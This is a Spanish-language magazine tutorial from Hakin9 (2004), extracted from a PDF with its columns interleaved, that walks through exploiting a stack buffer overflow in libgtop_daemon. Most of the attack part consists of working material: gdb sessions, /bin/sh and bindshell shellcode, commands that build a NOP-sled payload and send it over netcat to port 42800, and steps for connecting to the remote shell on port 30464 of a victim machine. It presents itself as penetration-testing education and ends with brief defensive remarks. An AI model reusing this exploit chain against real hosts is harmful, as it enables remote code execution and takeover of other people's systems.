letras A, le encargaremos a Perl es- la función utilizando una cadena al- Editemos el fichero Makefile que
ta tarea. Para escribir 2.000 letras A, fanumérica lo suficientemente larga, se encuentra en el directorio princi-
podría servir un sencillo script de dos revisemos cuán larga debe ser. Una pal de las fuentes. Encontraremos
líneas como el siguiente: cadena demasiado corta no afectará en él la siguiente línea:
la dirección de vuelta, pero una ex-
#!/usr/bin/perl cesivamente larga puede también CC = gcc
print "A"x2000 resultar una solución poco elegante,
pues la modificación de una porción Esta línea contiene el nombre del
La primera línea de este script le ha- demasiado grande de la memoria compilador que será usado. Si la
ce saber al kernel qué intérprete (en puede provocar efectos impredeci- cambiamos a:
este caso /usr/bin/perl) debe ejecu- bles y muy difíciles de diagnosticar.
tar el script, y la segunda imprime las Sabemos que una serie de 2.000 CC = gcc -ggdb
dos mil letras A. Podríamos meter letras A modifica la dirección de
este script en un fichero, añadirle el retorno de la función, por lo que po- todas las ejecuciones del compilador
código que imprima MAGIC-1\n2000\n demos ejecutar un comando similar se realizarán con la opción -ggdb.
y ejecutarlo redireccionando su sa- al anterior que envíe una cantidad Veamos si es así. Realicemos este
lida estándar hacia netcat, pero esta menor de caracteres, por ejemplo: cambio en Makefile y lancemos:

Hakin9 N o 4/2004 www.hakin9.org 11


$ make $ perl -e \ larga de letras A) para convencerse
'print "MAGIC-1\n1178\n"."A"x1178' \ de que la serie más corta que provo-
Acto seguido pasemos al directorio | nc 127.0.0.1 42800 ca una alteración de la dirección de
src/daemon y ejecutemos allí el si- retorno de la función contiene 1.184
guiente comando: Una vez de vuelta en la consola en letras A.
la que ha sido lanzado el depurador,
$ gdb libgtop_daemon vemos que la ejecución del progra- Diseñando la cadena
ma ha sido detenida en la línea que Nuestro plan de ataque será el si-
Cuando el depurador esté funcio- contiene el punto de ruptura. Revi- guiente: enviaremos al programa libg-
nando, tratemos de ejecutar el co- semos el valor de la dirección de top_daemon una serie de caracteres
mando list. Si el depurador muestra retorno de la función: que hará que sean introducidos 1.184
el código fuente del programa, signi- bytes al buffer. Por si acaso, utilizare-
fica que los datos de depuración han (gdb) print $ebp+4 mos una serie ligeramente más larga,
sido incluidos. (gdb) x $ebp+4 de unos 1.200 bytes. Esta serie se
Coloquemos un punto de ruptura compondrá de tres elementos (tal
en el lugar en el que los datos son El primero de estos comandos como lo muestra la Figura 5):
introducidos al buffer, es decir, en la muestra la dirección de la celda
línea 203 del fichero gnuserv.c: de memoria en la que se halla la • una serie de instrucciones nop,
dirección de vuelta de la función; el • el shellcode,
if (timed_read (fd, buf, segundo nos da la dirección misma • una dirección que lleve al interior
auth_data_len, AUTH_TIMEOUT, 0) de retorno de la función. Ejecutemos de la serie de nops.
ahora la línea en la que los datos son
Establecemos el punto de ruptura introducidos al buffer y revisemos si Tratemos de construir una secuencia
de la misma manera que lo hemos cambia la dirección de retorno: de este tipo. En primer lugar debe-
hecho más arriba: mos decidir qué parte de la serie
(gdb) next estará compuesta de las instruccio-
(gdb) break gnuserv.c:203 (gdb) x $ebp+4 nes nop y cuál de las direcciones.
Supongamos que pondremos más o
Ahora lanzamos el libgtop _daemon Vemos que la dirección no ha cam- menos la misma cantidad de ambos.
con la opción -f: biado, lo que corrobora nuestra Substraemos la longitud del shell-
hipótesis de que, aún cuando el code de la longitud total de la se-
(gdb) run -f programa se vuelve inestable des- cuencia (1.200 bytes) y dividimos el
pués de recibir una serie de 1.178 resto entre dos. El resultado de esta
A continuación, desde otra con- letras A, la dirección de vuelta de la operación es la cantidad en bytes de
sola enviamos al puerto 42800 de función permanece intacta. Bastan instrucciones nop y de direcciones
la máquina local la serie de 1.178 unas cuantas pruebas adicionales que colocaremos respectivamente al
letras A: (utilizando una serie cada vez más principio y al final de la serie.
Debemos todavía encontrar un
Listado 9. Shellcode para lanzar un intérprete de comandos shellcode adecuado, para lo que
podemos usar Google. El shellcode
\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d que utilizaremos se muestra en el
\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff
Listado 9.
/bin/sh
Según la descripción que encon-
Primeros pasos

tramos en Internet, esta pequeña


serie de bytes ejecutada en Linux en
Listado 10. Prueba del funcionamiento del shellcode una x86 lanza un shell (en el código
se puede incluso leer la cadena /bin/
main() {
char shellcode[] = sh). Sin embargo no es recomenda-
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3" ble confiar ciegamente en los progra-
"\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff" mas que uno encuentra en la Red.
"\xff\xff/bin/sh"; Hagamos, pues, una prueba para ver
si este shellcode funciona. Basta con
void(*ptr)();
ptr = shellcode; colocarlo en un array de caracteres,
ptr(); declarar un puntero que apunte al
} principio de este array, convertir el
puntero a texto a un puntero a función

12 www.hakin9.org Hakin9 N o 4/2004


Desbordamiento de la pila en Linux

total las direcciones ocuparán


Listado 11. Creación de los tres ficheros auxiliares 576 bytes).
$ perl -e 'print "\x90"x900' > nop.dat
$ echo -en "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" > shellcode.dat Vale la pena crear tres ficheros auxi-
$ echo -en "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d" >> shellcode.dat liares:
$ echo -en "\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80" >> shellcode.dat
$ echo -en "\xe8\xdc\xff\xff\xff/bin/sh" >> shellcode.dat
• nop.dat, que contiene los bytes
$ perl -e 'print "\x11\x22\x33\x44"x500' > address.dat
0x90,
• shellcode.dat, que contiene el
shellcode,
Listado 12. ¿Es la secuencia que hemos creado tal como la • address.dat, con todas las repeti-
planeábamos? ciones de la dirección 0x11223344.
$ echo -e "MAGIC-1\n1200\n"`head -c 579 nop.dat``cat shellcode.dat`\
`head -c 576 address.dat` | hexdump -Cv Podemos crear estos ficheros tal
00000000 4d 41 47 49 43 2d 31 0a 31 32 30 30 0a 90 90 90 |MAGIC-1.1200....| como se muestra en el Listado 11.
00000010 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................| Los ficheros nop.dat y address.dat
00000020 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................| se crean de la manera que hemos
(...)
mostrado más arriba: el comando
000001f0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000200 90 eb 1f 5e 89 76 08 31 c0 88 46 07 89 46 0c b0 |.ë.^.v.1Ŕ.F..F.°| perl con la opción -e hace que se
00000210 0b 89 f3 8d 4e 08 8d 56 0c cd 80 31 db 89 d8 40 |..ó.N..V.Í.1Ű.Ř@| ejecute el script suministrado como
00000220 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 68 11 22 |Í.čÜ˙˙˙/bin/sh."| argumento. Para escribir el fichero
00000230 33 44 11 22 33 44 11 22 33 44 11 22 33 44 11 22 |3D."3D."3D."3D."| con el shellcode, hemos utilizado el
00000240 33 44 11 22 33 44 11 22 33 44 11 22 33 44 11 22 |3D."3D."3D."3D."|
comando estándar echo lanzado con
(...)
00000450 33 44 11 22 33 44 11 22 33 44 11 22 33 44 11 22 |3D."3D."3D."3D."| dos opciones. La opción -e hace que
00000460 33 44 11 22 33 44 11 22 33 44 11 22 33 44 0a |3D."3D."3D."3D."| la secuencia \x4e se escriba como
un solo byte de valor hexadecimal
0x4e y no como una secuencia de
y ordenar su ejecución, tal como lo veinte bytes) después del comienzo 4 caracteres \x4e. La opción -n hace
vemos en el Listado 10. del array buf[]. ¿Cómo podemos que no se le añada el carácter del fin
Compilamos y lanzamos el pro- saber en qué lugar de la memoria de línea.
grama: se encuentra el array buf[] de un Una vez listos los ficheros auxi-
programa que se está precisamen- liares, podemos armar la secuencia
$ gcc shellcode_test.c \ te ejecutando? Por el momento con fragmentos ya preparados. Para
-o shellcode_test no nos preocuparemos de este imprimir los 579 bytes del fichero
$ ./shellcode_test problema, podremos después re- nop.dat, utilizaremos el comando
sh-2.05b$ solverlo con ayuda del depurador. head (que imprime el comienzo del
Mientras tanto utilizaremos la direc- archivo):
El intérprete de comandos ha sido, ción 0x11223344.
en efecto, lanzado. Continuemos $ head -c 579 nop.dat
pues con el diseño de la serie de ca- Construyendo
racteres. El shellcode tiene 45 bytes, la cadena Imprimiremos el contenido del fiche-
lo que nos deja (1200-45)/2=577,5 El proyecto de la cadena alfanumé- ro shellcode.dat con el comando cat.
bytes para direcciones e instruccio- rica que enviaremos al programa Para la concatenación e impresión
nes nop. Puesto que cada dirección libgtop _daemon es entonces el de la secuencia completa usaremos
ocupa 4 bytes, haremos que las siguiente: el siguiente comando:
direcciones ocupen 576 bytes y las
nops los 579 restantes. Revisemos • una línea que contenga la se- $ echo -e \
una vez más si no nos hemos equi- cuencia MAGIC-1, "MAGIC-1\n1200\n"\
vocado: 576 bytes para direcciones, • una línea que contenga el núme- `head -c 579 nop.dat`\
579 para nops y 45 para el shellco- ro 1200, `cat shellcode.dat`\
de: 576+579+45=1.200. • una línea compuesta de tres `head -c 576 address.dat`
Un último detalle que debemos partes: 579 bytes 0x90 (instruc-
tomar en cuenta antes de construir ción nop), un shellcode de 45 La ejecución de este comando
la cadena es la dirección de retorno bytes y la dirección 0x11223344 hará que aparezca en la pantalla
que utilizaremos. Ésta debe estar repetida 149 veces (cada direc- una serie de basura. Asegurémo-
un poco (digamos que entre diez y ción ocupa 4 bytes, por lo que en nos de que la secuencia obtenida

Hakin9 N o 4/2004 www.hakin9.org 13


que el salto de vuelta de la función
Listado 13. Sesión de depuración termine en la serie de instrucciones
Script started on Sat 15 May 2004 02:30:58 AM EDT nop que precede al shellcode).
haking@live:/ramdisk/home/haking/libgtop-1.0.6/src/daemon Realizaremos esta prueba en
[haking@live daemon]$ gdb libgtop_daemon dos consolas. En la primera iniciare-
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) mos el depurador (la sesión entera
(...)
ha sido mostrada en el Listado 13):
(gdb) break gnuserv.c:203
Breakpoint 1 at 0x8049e42: file gnuserv.c, line 203.
(gdb) run -f $ gdb libgtop_daemon
Starting program: libgtop-1.0.6/src/daemon/libgtop_daemon -f
Breakpoint 1, permitted (host_addr=16777343, fd=6) at gnuserv.c:203 Colocamos un punto de ruptura en la
203 if (timed_read (fd, buf, auth_data_len, AUTH_TIMEOUT, 0) != auth_data_len)
línea en la que ocurre el desborda-
(gdb) x $ebp+4
0xbffff8dc: 0x0804a1ae miento del buffer:
(gdb) next
207 if (!invoked_from_inetd && server_xauth && server_xauth->data && (gdb) break gnuserv.c:203
(gdb) x $ebp+4
0xbffff8dc: 0x44332211
Lanzamos el programa examinado
(gdb) print &buf
$1 = (char (*)[1024]) 0xbffff440 con la opción -f (no pases al segun-
(gdb) x/24 buf do plano):
0xbffff440: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff450: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) run -f
(...)
0xbffff670: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb) El programa espera datos por el
0xbffff680: 0xeb909090 0x76895e1f 0x88c03108 0x46890746 puerto 42800. Enviémosle la secuen-
0xbffff690: 0x890bb00c 0x084e8df3 0xcd0c568d 0x89db3180 cia preparada por nosotros. Para
0xbffff6a0: 0x80cd40d8 0xffffdce8 0x69622fff 0x68732f6e ello, pasemos a la segunda consola
0xbffff6b0: 0x44332211 0x44332211 0x44332211 0x44332211
(y en ella al directorio en el que se
(...)
0xbffff8e0: 0x44332211 0x44332211 0x44332211 0x44332211 encuentran los ficheros auxiliares
0xbffff8f0: 0x4006bc84 0x00000005 0x00000010 0xbffff900 nop.dat, shellcode.dat y address.dat)
(gdb) quit y ejecutemos el comando:
The program is running. Exit anyway? (y or n) y
haking@live:/ramdisk/home/haking/libgtop-1.0.6/src/daemon
$ echo -e "MAGIC-1\n1200\n"\
[haking@live daemon]$
Script done on Sat 15 May 2004 02:35:06 AM EDT `head -c 579 nop.dat`\
`cat shellcode.dat`\
`head -c 576 address.dat` \
es exactamente la que queríamos tado 12). Parece tener pies y cabeza: | nc 127.0.0.1 42800
lograr. Contemos cuántos caracte- al principio MAGIC-1 y 1200, después
res tiene (el comando wc devuelve un montón de instrucciones nop, una Regresemos a la consola del depu-
la cantidad de líneas, palabras y serie de números extraños que a ojo rador. Vemos que el programa ha
caracteres entregados a la entrada parece el shellcode y una larga serie alcanzado la línea con el punto de
estándar): de direcciones 0x11223344. ruptura y se ha detenido.

$ echo -e \ El primer intento Breakpoint 1, permitted


de ataque
Primeros pasos

"MAGIC-1\n1200\n"\ (host_addr=16777343, fd=6)


`head -c 579 nop.dat`\ Emprenderemos ahora el primer in- at gnuserv.c:203
`cat shellcode.dat`\ tento de ataque. Por el momento eje- 203 if (timed_read (fd,
`head -c 576 address.dat` \ cutaremos el libgtop _daemon desde buf, auth_data_len,
| wc el depurador, gracias a lo cual podre- AUTH_TIMEOUT, 0)
mos asegurarnos de que la dirección != auth_data_len)
La cadena obtenida tiene 1.214 bytes, de retorno de la función será susti-
que es exactamente cuanto hace falta tuida por el valor que nosotros en- Revisemos (antes de que ocurra el
(1.200 bytes más la longitud de las viemos. De paso podremos verificar desbordamiento del buffer) cuál es la
dos primeras líneas). Examinemos el la dirección en la que está el buffer dirección de retorno de la función:
contenido de la serie con ayuda del buf[] (recordemos que tenemos que
comando hexdump, que imprime datos conocer esta dirección para poder (gdb) x $ebp+4
binarios en formato hexadecimal (Lis- introducirla a la secuencia, a fin de 0xbffff8dc: 0x0804a1ae

14 www.hakin9.org Hakin9 N o 4/2004


Desbordamiento de la pila en Linux

(gdb) print &buf


Listado 14. Shellcode para abrir un intérprete de comandos en el $1 = (char (*)[1024]) 0xbffff440
puerto 30464

char shellcode[] = /* Taeho Oh bindshell code at port 30464 */ Por si acaso, echemos también un
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0\x31\xdb\x89" vistazo al contenido de la memoria a
"\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\xb3" partir de esta dirección (para asegu-
"\x01\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d"
rarnos de que realmente se encuen-
"\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3"
"\x02\xcd\x80\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
tra allí la secuencia preparada por
"\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd\x80\x88\xc3" nosotros).
"\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80"
"\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f\x73\x68\x2f\x89\x46\x04\x31\xc0\x88" (gdb) x/24 buf
"\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";
Se ve bien: primero una larga serie
de instrucciones nop, después el
Ejecutemos la línea actual, lo que La dirección es la que nosotros que- shellcode, después las direcciones.
provocará la modificación de la di- ríamos, pero en orden contrario al Ahora escojamos y anotemos alguna
rección de retorno, y veamos cuál es planeado (en lugar del valor 0x11223344 dirección justo después del comien-
ahora su valor: en la pila ha aparecido el 0x44332211). zo del área de instrucciones nop, por
Esto es consecuencia del hecho de ejemplo, 0xbffff500. Sustituyamos
(gdb) next que la x86 es una arquitectura little por ésta la dirección de retorno de
207 if (!invoked_from_inetd endian (en memoria los bytes menos la función. Terminemos la sesión de
&& server_xauth significativos se hallan delante de los trabajo con el depurador, dando a
&& server_xauth->data && más significativos), por lo que tendre- éste la instrucción quit o tecleando la
(gdb) x $ebp+4 mos que poner la dirección en orden combinación [ctrl]+[d].
0xbffff8dc: inverso. De paso revisemos cuál es la Así pues, la sesión de depuración
0x44332211 dirección del buffer buf[]. nos ha mostrado que la dirección de

secuencia enviada por nosotros


Desbordamientos de
dirección dirección dirección dirección
buffer en FreeBSD
Uno de nuestros betatesters, Paweł 1 2 3 4 1 2 3 4 1 2 3 4 1 2 3 4
Luty, verificó el funcionamiento de
los ejercicios expuestos en el artícu- 1 2 3 4
lo (desbordamiento de buffer en los
dirección de vuelta
programas stack_1.c y stack_2.c) en
FreeBSD. He aquí sus comentarios:
pila
Las técnicas descritas en el artí-
culo funcionan correctamente. La úni-
ca modificación que he debido realizar Figura 8. La secuencia de desbordamiento de buffer modifica los valores de la
ha sido el cambio del shellcode en los pila, entre ellos la dirección de retorno de la función; tenemos suerte: los límites
programas stack_1.c y stack_2.c al de palabras en la secuencia de desbordamiento y los de la pila concuerdan
siguiente:
secuencia enviada por nosotros
\xeb\x0e\x5e\x31\xc0\x88\x46\x07
\x50\x50\x56\xb0\x3b\x50\xcd
dirección dirección dirección dirección
\x80\xe8\xed\xff\xff\xff/bin/sh
1 2 3 4 1 2 3 4 1 2 3 4 1 2 3 4
Existe una pequeña inconveniencia con
el comando echo, pues la versión que 2 3 4 1
existe en FreeBSD no posee la opción dirección de vuelta
-e, pero en su lugar se puede usar
Perl. pila
Pude también notar que en
FreeBSD 5.1-RELEASE-p10 la
dirección del buffer es siempre la
Figura 9. La secuencia de desbordamiento de buffer modifica los valores
misma para todas las ejecuciones de la pila, entre ellos la dirección de retorno de la función; hemos tenido
del programa (esto a propósito de mala suerte: los límites de palabras en la secuencia de desbordamiento no
la Tabla 1). concuerdan con los límites de la pila, por lo que la dirección termina siendo
sustituida por un valor incorrecto

Hakin9 N o 4/2004 www.hakin9.org 15


retorno de una función vulnerable
puede modificarse; de lo único que ¿Funciona este método en la práctica?
hay que tener cuidado es del orden Es indiscutible que las pruebas aquí descritas fueron realizadas en condiciones más
en que los bytes deben aparecer en que confortables: tuvimos la posibilidad de verificar su efectividad en el mismo ordena-
la secuencia de desbordamiento. La dor que hacía de blanco al ataque. Esto nos permitió encontrar la localización exacta
dirección a la que debe llegar el flujo de memoria en la que se encontraba el shellcode suministrado por nosotros. En una
de control será la 0xbffff501, que se situación real no existe la posibilidad de hacer pruebas en el ordenador atacado.
¿Querrá esto decir que el shellcode será puesto cada vez en una dirección distinta,
encuentra al inicio de la sección de
por lo que un ataque verdadero no puede tener éxito? El sentido común sugiere que,
instrucciones nop. Podemos ahora
independientemente del ordenador en el que se encuentra, la dirección del array buf[]
preparar la secuencia final que en-
debería ser siempre la misma: la pila siempre comienza en la dirección 0xc0000000 y la
viaremos al servidor libgtop para cantidad de variables que se encuentran en ella y la cantidad de memoria que ocupan
hacer que nos abra una shell. Sin dependen sólo del programa y no de las librerías ni de la versión del kernel utilizado.
embargo, podemos aún encontrar- Sin embargo, para no apoyarnos exclusivamente en el sentido común, haremos
nos con un pequeño problema más. una prueba: añadiremos al fichero gnuserv.c una línea que imprima por pantalla la
dirección del buffer apenas éste haya sido alterado:
Una pequeña digresión
printf("\ndirección del buffer: 0x%x\nn", &buf);
Examinemos la Figura 8. Vemos en
ella cómo las direcciones colocadas El programa así modificado se ha ejecutado en cuatro ordenadores diferentes a fin de
de manera consecutiva en la memo- observar la dirección. Los resultados de estas observaciones se muestran en la Tabla 1.
ria cambian el contenido de la pila, Como podemos ver, al contrario de lo que esperábamos, el shellcode enviado a otro
modificando también la dirección de ordenador puede ocupar una dirección diferente a la que ocupaba en el nuestro. ¿Cuál
retorno de la función. Se trata de una puede ser la causa de esto?
situación análoga a la nuestra: en la La razón por la que en los dos últimos ordenadores la dirección del array buf[]
secuencia que preparamos, pusimos cambia con cada ejecución son ciertos parches aplicados al kernel, cuyo objetivo es
la dirección 1234 repetida muchas precisamente dificultar la realización de ataques relacionados con el desbordamiento
de la pila. La diferencia entre el primer y el segundo ordenador puede tener muchas
veces, lo que hizo que este valor
causas, por ejemplo, la colocación de las variables de entorno en la pila, lo cual pode-
sustituyera la dirección de vuelta de
mos comprobar ejecutando la siguiente instrucción:
la función.
No obstante, la situación pudo $ export XXX=XXXXXXXXXXXXXXXXXX
ser ligeramente diferente, como lo
demuestra la Figura 9. En este caso para luego revisar nuevamente la dirección de buf[].
no hemos tenido tanta suerte y la De las pruebas aquí realizadas se desprenden dos conclusiones. En primer lugar,
desde el punto de vista de un intruso, al construir una secuencia de desbordamiento,
secuencia, una vez introducida al
debemos esforzarnos por que el área ocupado por las instrucciones nop sea extenso
buffer, comienza un byte más ade-
y por que la nueva dirección de retorno de la función esté dirigida más o menos al cen-
lante. Esto hace que la dirección de
tro de este área. Esto nos permitirá tener éxito incluso si la dirección del buffer (como
retorno de la función cambie a 2341. en nuestro caso) varía en algunos centenares de bytes (¡cuidado! no debemos olvidar
Podremos darnos cuenta de ello que, si el área de direcciones es demasiado corto, pueden aparecer problemas como
observando el comportamiento del los descritos en el artículo Shellcode en Python en el próximo número). Por otra parte,
libgtop _daemon con ayuda del de- poniéndonos ahora en el lugar del administrador, tenemos afortunadamente la posibi-
purador (tal y como en el Listado 13). lidad de protegernos (de manera más o menos efectiva...) contra este tipo de ataques.
Si, después de ejecutar la línea que Vale la pena interesarse, por ejemplo, por el proyecto grsecurity.
modifica la dirección de vuelta de la Marcin Wolak describe en su artículo Exploit remoto para el sistema Windows
función, la respuesta del comando x 2000 un método más elegante, refinado y efectivo de resolver este problema.
Primeros pasos

$ebp+4 es la dirección que quería-


mos, pero desplazada en uno, dos Tabla 1. Dirección del buffer buf[] en los ordenadores examinados
o tres bytes, significará que éste es sistema dirección del buffer buf[]
precisamente el caso y será necesa-
rio añadir a la secuencia enviada Debian testing, kernel 2.4.21 0xbffff480

unos cuantos bytes adicionales para


Suse, kernel 2.6.4-54.5 0xbffff180
que los límites entre las direcciones
de la secuencia coincidan con los una dirección distinta en cada
límites de las palabras en la pila (co- Aurox 9.4
ejecución, p.ej. 0xbfffe6d4
mo en la Figura 8):
Mandrake, kernel 2.4.22- una dirección distinta en cada
1.2149.nptl ejecución
$ echo -e \"MAGIC-1\n1201\n"\
`head -c 579 nop.dat`\

16 www.hakin9.org Hakin9 N o 4/2004


Desbordamiento de la pila en Linux

`cat shellcode.dat`-\ de libgtop. Podemos en ese caso $ echo -e "MAGIC-1\n1201\n"\


`head -c 576 address.dat` \ enviar a su ordenador, al puerto `head -c 523 nop.dat`\
| nc 127.0.0.1 42800 42800, la secuencia preparada por `cat shellcode.dat`\
nosotros. Notemos, sin embargo, `head -c 500 address.dat` \
Al ataque que lo que acabamos de hacer | nc 127.0.0.1 42800
Como hemos decidido antes, pla- (obligar a la máquina remota a
neamos cambiar la dirección de lanzar localmente una shell) no Luego, desde una tercera consola
retorno de la función con la direc- tendría sentido en la práctica: nos conectamos al puerto 30464 de
ción 0xbffff501. Recordando que además de la satisfacción de ha- nuestra víctima:
en la arquitectura little endian los ber provocado un comportamiento
bytes en la memoria están orde- extraño del servidor, no hemos lo- $ nc 127.0.0.1 30464
nados en orden inverso al normal grado nada. Sería mucho mejor si
(primero los menos y después los éste lanzara una shell ligada a un Una vez la conexión ha sido estable-
más significativos), crearemos el puerto específico, para poder co- cida, podemos trabajar a distancia
nuevo contenido del fichero auxiliar nectarnos (con ayuda del netcat) a en el ordenador atacado.
de direcciones: este puerto y enviar comandos que Por supuesto, este mismo expe-
se ejecuten en la máquina remota. rimento puede llevarse a cabo en
$ perl -e \ Para esto necesitamos un shellco- un escenario algo más realista. El
'print "\x01\xf5\xff\xbf"x500' \ de diferente que nos ofrezca este libgtop _daemon lo podemos lanzar
> address.dat servicio después de haber sido en un ordenador, mientras que el
lanzado (de la manera aquí des- ataque se realiza desde otro. En tal
Ahora podemos lanzar en la primera crita) en el servidor. También este situación debemos sustituir la direc-
consola el libgtop _daemon: shellcode puede encontrarse en ción 127.0.0.1 por la verdadera direc-
Internet (Listado 14). De acuerdo a ción IP del ordenador atacado, tanto
$ libgtop_daemon -f su descripción, este código habili- durante el envío de la secuencia de
ta un intérprete de comandos en el desbordamiento del buffer, como al
para luego, desde la segunda, enviar puerto 30464. conectarnos al puerto abierto por el
la secuencia al puerto 42800: De manera similar a como lo shellcode.
hicimos más arriba (Listado 11),
$ echo -e \ coloquemos el nuevo shellcode Los deberes
"MAGIC-1\n1201\n"\ en el fichero shellcode.dat. Segui- Como hemos visto, un programa
`head -c 579 nop.dat`\ damente, dado que la longitud del escrito sin el debido cuidado pue-
`cat shellcode.dat`\ shellcode ha cambiado, debemos de permitir a un intruso ejecutar a
`head -c 576 address.dat` \ modificar los tamaños de las sec- distancia cualquier código malig-
| nc 127.0.0.1 42800 ciones de instrucciones nop y de no. Es válido hacerse la pregunta:
direcciones, de manera que la ca- ¿qué debería cambiar en el código
Si hicimos todo correctamente, en dena resultante mida nuevamente para que éste sea seguro? La raíz
la primera consola (en la que fue 1.200 bytes. El programa wc nos del peligro está en el hecho de que
lanzado libgtop) habrá sido lanzada informa que el nuevo shellcode al buffer se introducen tantos da-
una nueva shell. tiene 177 caracteres. Para las tos, cuantos el usuario declara, sin
instrucciones nop y las direcciones verificar previamente su longitud.
¿Cómo utilizar estos quedan, por lo tanto, 523 y 500 Por lo tanto, la adición al código
bytes respectivamente. de una condición que verifique si
conocimientos en la Realicemos un experimento el contenido de la variable auth _
práctica? más. En una consola lanzamos el data _ len no ocupa más espacio
Ahora que sabemos cómo es posible libgtop _daemon: del que el buffer puede ofrecer (y
obligar a la versión defectuosa de que, de ser así, trunque este con-
libgtop a ejecutar el código enviado $ libgtop_daemon -f tenido) debería corregir el defecto.
por nosotros, pensemos un poco en Dejamos a nuestros Lectores con
la manera en que nuestros conoci- Desde otra consola enviamos la ánimo inquisitivo la realización de
mientos pueden ser utilizados en la secuencia (ya con el nuevo shell- este cambio del código y la veri-
práctica, durante la realización de code dentro) al puerto 42800 del ficación de su efectividad como
pruebas de penetración. ordenador en el que funciona el tarea de casa. n
Imaginémonos que acabamos servidor libgtop (en nuestro caso,
de enterarnos de que nuestra víc- al puerto 42800 del ordenador
tima utiliza la versión defectuosa local).

Hakin9 N o 4/2004 www.hakin9.org 17


25-26 November, 2004
Diplomat Hotel, Prague, Czech Republic

Você também pode gostar